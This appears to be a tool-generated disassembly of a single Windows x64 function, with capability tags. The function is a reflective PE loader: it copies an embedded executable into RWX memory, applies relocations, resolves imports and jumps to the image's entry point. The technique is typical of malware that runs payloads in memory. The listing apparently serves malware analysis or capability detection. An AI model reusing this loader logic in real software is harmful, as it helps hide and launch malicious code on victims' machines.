Function at 0x140003c00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link function at runtime on windows
Parse pe header

Disassembly:
push rbp
push r13
sub rsp, 0x78
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x2c01
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x2c01
lea rdx, section..text
mov rcx, rax
mov qword [rsp + 0x48], rax
mov rbp, rax
call sub.VCRUNTIME140.dll_memcpy
mov eax, 0x5a4d
cmp word [rbp], ax
jne 0x140003ec0
movsxd r13, dword [rbp + 0x3c]
add r13, rbp
mov qword [rsp + 0x40], r13
cmp dword [r13], 0x4550
jne 0x140003ec0
mov edx, dword [r13 + 0x50]
mov r9d, 0x40
mov rcx, qword [r13 + 0x30]
mov r8d, 0x3000
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x68], r14
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [r13 + 0x54]
mov rdx, rbp
mov rsi, rax
sub rax, qword [r13 + 0x30]
mov rcx, rsi
mov qword [rsp + 0x50], rax
call sub.VCRUNTIME140.dll_memcpy
movzx ebx, word [r13 + 0x14]
xor r14d, r14d
add rbx, 0x2c
mov edi, r14d
cmp r14w, word [r13 + 6]
jae 0x140003d15
add rbx, r13
nop word [rax + rax]
mov edx, dword [rbx]
mov ecx, dword [rbx - 8]
add rdx, rbp
mov r8d, dword [rbx - 4]
add rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [r13 + 6]
lea rbx, [rbx + 0x28]
inc rdi
cmp rdi, rax
jb 0x140003cf0
mov rax, qword [r13 + 0xb0]
mov r12d, eax
add r12, rsi
mov qword [rsp + 0x38], rax
shr rax, 0x20
mov qword [rsp + 0x30], r12
test eax, eax
je 0x140003ded
mov r13, qword [rsp + 0x50]
mov ecx, 0x1000
mov qword [rsp + 0x60], r15
nop word [rax + rax]
mov r15d, r14d
add r14d, 8
add r15, r12
mov edi, r14d
add rdi, r12
mov eax, dword [r15 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x140003dd3
mov ebp, eax
lea r14d, [r14 + rax*2]
xor r12d, r12d
movzx eax, word [rdi]
cmp ax, cx
jb 0x140003dc4
and eax, 0xfff
mov qword [rsp + 0x50], r12
add eax, dword [r15]
mov ebx, eax
add rbx, rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], r12
mov rcx, rax
lea r8, [rsp + 0x50]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x50]
mov ecx, 0x1000
add rax, r13
mov qword [rbx], rax
add rdi, 2
sub rbp, 1
jne 0x140003d78
mov r12, qword [rsp + 0x30]
cmp r14d, dword [rsp + 0x3c]
jb 0x140003d50
mov r15, qword [rsp + 0x60]
mov r13, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov r14d, dword [r13 + 0x90]
mov r12, qword [rsp + 0x70]
add r14, 0xc
add r14, rsi
mov eax, dword [r14]
test eax, eax
je 0x140003e6a
nop word [rax + rax]
mov ecx, eax
add rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x140003e5e
mov ebx, dword [r14 + 4]
add rbx, rsi
mov rcx, qword [rbx]
test rcx, rcx
je 0x140003e5e
mov rdx, rcx
mov rcx, rdi
jns 0x140003e3f
movzx edx, dx
jmp 0x140003e46
add rdx, 2
add rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx], rax
add rbx, 8
mov rcx, qword [rbx]
mov rdx, rcx
test rcx, rcx
jne 0x140003e35
mov eax, dword [r14 + 0x14]
add r14, 0x14
test eax, eax
jne 0x140003e10
mov eax, dword [r13 + 0x28]
xor r8d, r8d
add rax, rsi
mov edx, 1
mov rcx, rsi
call rax
lea rcx, section..text
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, qword [rsp + 0x68]
xor eax, eax
mov rdi, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x90]
jmp 0x140003ec5
mov eax, 0xd
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003ef0
add rsp, 0x78
pop r13
pop rbp
ret